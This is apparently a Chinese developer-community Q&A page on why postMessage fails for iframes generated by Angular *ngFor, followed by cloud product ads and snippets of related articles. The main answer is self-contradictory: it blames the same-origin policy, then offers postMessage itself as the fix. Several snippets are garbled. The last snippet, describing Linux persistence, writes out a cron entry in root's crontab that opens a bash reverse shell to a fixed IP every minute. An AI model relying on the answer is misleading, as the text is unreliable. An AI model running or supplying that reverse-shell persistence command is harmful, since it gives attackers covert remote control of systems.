首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在angular *ngFor中创建的iframe的postMessage不起作用

在Angular中使用*ngFor创建的iframe,由于安全策略限制,无法直接通过postMessage进行通信。这是由于浏览器的同源策略所引起的,同源策略限制了不同源之间的通信。iframe的源和父窗口的源不同,因此postMessage不起作用。

要解决这个问题,可以通过以下方式进行通信:

  1. 使用window.postMessage和window.addEventListener在iframe和父窗口之间进行跨域通信。在父窗口中,使用addEventListener监听message事件,并在事件处理程序中处理接收到的消息。在iframe中,使用window.parent.postMessage方法发送消息到父窗口。
  2. 如果iframe和父窗口位于同一个域名下,可以通过直接调用iframe内容中的方法进行通信。在父窗口中,通过获取iframe的引用,可以直接调用iframe中暴露的方法。
  3. 使用Angular的消息传递机制,例如使用RxJS的Subject或BehaviorSubject来创建一个全局的消息服务,可以在不同组件之间进行通信。在父组件中创建一个Subject对象,并在子组件中订阅该对象。通过在父组件中更新Subject的值,子组件可以获取最新的消息。

应用场景: 在使用Angular构建复杂的应用程序时,可能会需要在多个组件之间进行通信。通过使用iframe和postMessage,可以实现跨组件之间的消息传递,从而实现更高效的应用程序通信和协调。

腾讯云相关产品:

  1. 云服务器(CVM):提供弹性计算能力,适用于部署应用程序和托管服务。 链接:https://cloud.tencent.com/product/cvm
  2. 云数据库MySQL(CDB):提供高性能、可扩展的MySQL数据库服务,支持主从复制、备份恢复等功能。 链接:https://cloud.tencent.com/product/cdb_mysql
  3. 腾讯云存储(COS):提供安全可靠的对象存储服务,用于存储和管理大量非结构化数据。 链接:https://cloud.tencent.com/product/cos

请注意,以上仅为示例产品,并非具体推荐,具体产品选择应根据实际需求进行评估。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

  • AngularDart4.0 指南- 显示数据 顶

    您可以通过将HTML模板控件绑定到Angular组件属性来显示数据。 在这个页面,您将创建一个包含英雄列表组件。 您将显示英雄名单列表,并有条件地列表下方显示一条消息。...请注意,您不要调用new来创建AppComponent类实例。 Angular正在为你创建一个实例。 怎样创建? @Component注解CSS选择器指定了一个名为元素。...Angular ngFor指令来显示英雄列表每个项目。...模板中使用任何Angular指令之前,您需要将它们列组件@Component注解指令参数。...现在英雄出现在一个无序列表。 ? 为数据创建一个类 应用程序代码直接在组件内定义数据,这不是最佳实践。 但是,一个简单演示,没关系。 目前,绑定是一个字符串列表。

    5.3K10

    Angular 6.x 指令快速入门

    (图片来源于网络) 第一节 - 创建指令 Angular ,我们可以使用 HostBinding 装饰器,实现元素属性绑定。...>Hello, Angular `, }) export class AppComponent { } 第三节 - 事件处理 Angular ,我们可以使用 HostListener...>Hello, Angular `, }) export class AppComponent { } 第四节 - 获取宿主元素属性值 Angular ,我们可以通过 Attribute... Angular ,我们可以通过 ViewChild 装饰器来获取视图中定义模板元素,然后利用 ViewContainerRef 对象 createEmbeddedView() 方法,创建内嵌视图...let item 和 index as i 会被转换为 let-item 和 let-i="index" ngFor 指令列表上循环,每个循环中都会设置和重置它自己上下文对象上属性。

    3.2K40

    AngularDart 4.0 高级-结构指令 顶

    三种常见内置结构指令 - NgIf,NgFor和NgSwitch ... - 模板语法指南中进行了描述,并在整个Angular文档示例中进行了介绍。...Angular实际渲染过程消耗了内容,并用诊断注释替换了。 NgFor和NgSwitch ...指令遵循相同模式。...您可以分配给ngFor字符串启用这些功能,这是您在Angularmicrosyntax编写。...虽然很少有理由模板属性或元素形式应用结构指令,但了解Angular创建并了解它工作原理仍然很重要。 当你编写自己结构指令时,你会参考。...TemplateRef和ViewContainerRef 像这样一个简单结构指令从Angular生成创建一个嵌入式视图,并将该视图插入与指令原始宿主元素相邻视图容器

    16.1K20

    Vue创建可重用 Transition

    我们案例,我们真正需要是通过组件prop控制CSS animation/transition。 我们可以通过不在CSS中指定显式CSS动画持续时间,而是将其作为样式来实现。...如果我们可以相同组件这样做,并公开一个将切换到transition-group实现group prop,那会怎么样呢?...再做一些调整,通过mixin中提取 JS 逻辑,我们可以将其应用于轻松创建transition组件,只需将其放入下一个项目中即可。...我认为它非常方便,可以轻松地不同项目中使用。你可以试一试:) 总结 我们从一个基本过渡示例开始,并最终通过可调整持续时间和transition-group支持来创建可重用过渡组件。...我们可以使用这些技巧根据并根据自身需求创建自己过渡组件。 希望读者从本文中学到了一些知识,并且可以帮助你们建立功能更好过渡组件。

    9.8K20

    Angular 显示英雄列表

    本页面,你将扩展《英雄指南》应用,让它显示一个英雄列表, 并允许用户选择一个英雄,查看该英雄详细信息。 创建模拟(mock)英雄数据 你需要一些英雄数据以供显示。... src/app/ 文件夹创建一个名叫 mock-heroes.ts 文件。 定义一个包含十个英雄常量数组 HEROES,并导出它。 该文件是这样。...="let hero of heroes"> *ngFor 是一个 Angular 复写器(repeater)指令。...它会为列表每项数据复写它宿主元素。 在这个例子  就是 *ngFor 宿主元素 heroes 就是来自 HeroesComponent 类列表。...Angular 会把所点击  上 hero 对象传给它,这个 hero 也就是前面 *ngFor 表达式定义那个。

    4.4K70

    .NET 创建对象几种方式对比

    .net 创建一个对象最简单方法是直接使用 new (), 实际项目中,我们可能还会用到反射方法来创建对象,如果你看过 Microsoft.Extensions.DependencyInjection...源码,你会发现,为了保证不同场景兼容性和性能,内部使用了多种反射机制。...,直观和流畅 Fluent API 设计,通过 roslyn 强大赋能, 可以程序运行时创建代码,包括 程序集、类、结构体、枚举、接口、方法等, 用来增加新功能和模块,这里我们用 NInstance...,现在我开始使用 BenchmarkDotNet 进行基准测试,我也把 new Employee() 直接创建方式加到测试列表,并用它作为 "基线",来并比较其他每种方法,同时我把一些方法预热操作...这里简单对比了几种创建对象方法,测试结果也可能不是特别准确,有兴趣还可以 .net framework 上面进行测试,希望对您有用!

    2.2K30

    Angular2 之 结构型指令几个概念

    弊 如果我们很快再次使用这个组件时候,重建组件代价是非常大。 当ngIf重新变成true时候,angular会重新创建该组件及其子树。angular会重新运行每个组件初始化逻辑。...总结 基于上面的利弊分析,无论是我们使用内置指令还是使用自定指令时候,我们应该自己分析提添加、移除元素以及创建和销毁组件后果。...Angular应用之外,标签默认CSS属性display是none 。 它内容存在于一个隐藏文档片段。... 这时候显示内容是'Hip! Hooray!',Angular控制下,DOM效果是不同。 ?...要么显示包含在Template标签,要么隐式使用*这种语法糖去包装在Template标签。它简化了ngIf和ngFor —— 无论是写还是读。

    3K20

    Angular v8 发布!来看看有什么新功能

    本文中,我将介绍 Angular 8 和 Angular CLI 8 最重要新功能。我文中例子可以 GitHub 上找到。...这并非是他们大发善心,而是因为 Google 有 600 多个以 Angular 为基础应用程序 —— 尽管是谣传,但实际数字要高得多。 Angular 8 Ivy 预览版现在可供测试。...为了将类似这样计算甩给后台,我们必须首先用 Angular CLI 创建 一个Web worker: 1ng generate worker n-queens 此语句不仅为 worker 创建文件,还为构建过程和现有文件条目创建配置文件...它们可以存储例如 browserslist 文件,CLI 在生成新项目时同时会在 projectroot 创建: 1> 0.5% 2last 2 versions 3Firefox ESR 4not...虽然它们早期版本中被用于组件请求不在结构指令内元素,如 ngIf 或 ngFor,但查询结果已在 ngOnInit 可用。

    3K30

    AngularDart4.0 英雄之旅-教程-07路由 顶

    更新pubspec 使用Angular路由(angular_router)启用导航。 由于路由器自己,首先将该包添加到应用pubspec: ?...这个举动创建了一个单例HeroService实例,可用于应用程序所有组件。 Angular注入HeroService,您可以DashboardComponent中使用它。...构造函数中注入HeroService,并将其保存在一个专用_heroService字段。 调用服务来获取Angular ngOnInit()生命周期钩子英雄。...应该显示英雄11详细信息。 仪表板或英雄列表中选择英雄不起作用。 你会接下来处理。...Dashboard 样式 lib / src文件夹创建一个dashboard_component.css文件,并在组件元数据styleUrls列表属性引用该文件,如下所示: lib / src/

    17.6K30

    Linux创建隐匿计划任务

    Linux计划任务可以让系统周期性地运行所指定程序或命令,攻击者可以利用这个特性让系统周期性运行恶意程序或者命令。计划任务具体使用方法参考前文,这里只讲述攻击者如何利用该技术进行权限维持。...首先,使用命令service cron status来检查系统计划任务服务是否正常运行,执行结果如图1-1所示,running则代表正在运行。...然后,使用命令crontab -l来查看当前用户系统创建计划任务,执行结果如图1-2所示。...Linux“万物皆文件”,crontab -l命令实际上是调用“cat /var/spool/cron/crontabs/当前登录用户用户名”。...那么攻击者可以执行命令echo "*/1 * * * * bash -i >& /dev/tcp/192.168.31.111/10029 0>&1" > /var/spool/cron/crontabs/root,计划任务写入一个每分钟建立回连会话语句

    59010

    Swift创建可缩放图像视图

    本教程,我们将建立一个可缩放、可平移图像视图来实现这一功能。 计划 他们说,一张图片胜过千言万语--但它不一定要花上一千行代码!对于我们可缩放图像视图,我们要做是让它成为一个可缩放视图。...medium.com/media/afad3… commonInit(),我们将图像视图居中,并设置它高度和宽度,而不是把它固定在父视图上。这样一来,滚动视图就会从图像视图中获得其内容大小。...设置滚动视图 我们需要实际设置我们滚动视图,使其可缩放和可平移。这包括设置最小和最大缩放级别,以及指定用户放大时使用UIView(我们例子,它将是图像视图)。...我们将通过我们添加imageName字符串,并在字符串改变时更新UIImageView来实现。...让我们给我们类添加另一个初始化器,这样我们就可以代码设置图像名称。 medium.com/media/074d4… 就这样了!现在我们可以像这样通过图片名称以编程方式初始化我们视图了。

    5.7K20
    领券